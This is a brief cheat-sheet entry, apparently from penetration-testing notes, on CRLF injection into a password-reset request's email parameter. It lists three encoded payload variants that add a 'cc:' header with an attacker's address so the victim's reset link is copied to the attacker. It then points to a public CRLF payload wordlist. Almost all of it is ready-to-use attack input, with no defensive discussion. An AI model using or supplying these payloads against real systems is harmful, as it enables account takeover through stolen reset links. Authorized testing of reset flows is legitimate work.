CRLF injection to add email CC
Insert a line break and a cc: address into the password reset request's email parameter to steal the reset link:
email="victim-user@syslifters.com%0a%0dcc:attacker-user@syslifters.com"
email="victim-user@syslifters.com%0Acc:attacker-user@syslifters.com"
email="victim-user@syslifters.com%0A%20cc:attacker-user@syslifters.com"
CRLF wordlist:
https://github.com/cujanovic/CRLF-Injection-Payloads/blob/master/CRLF-payloads.txt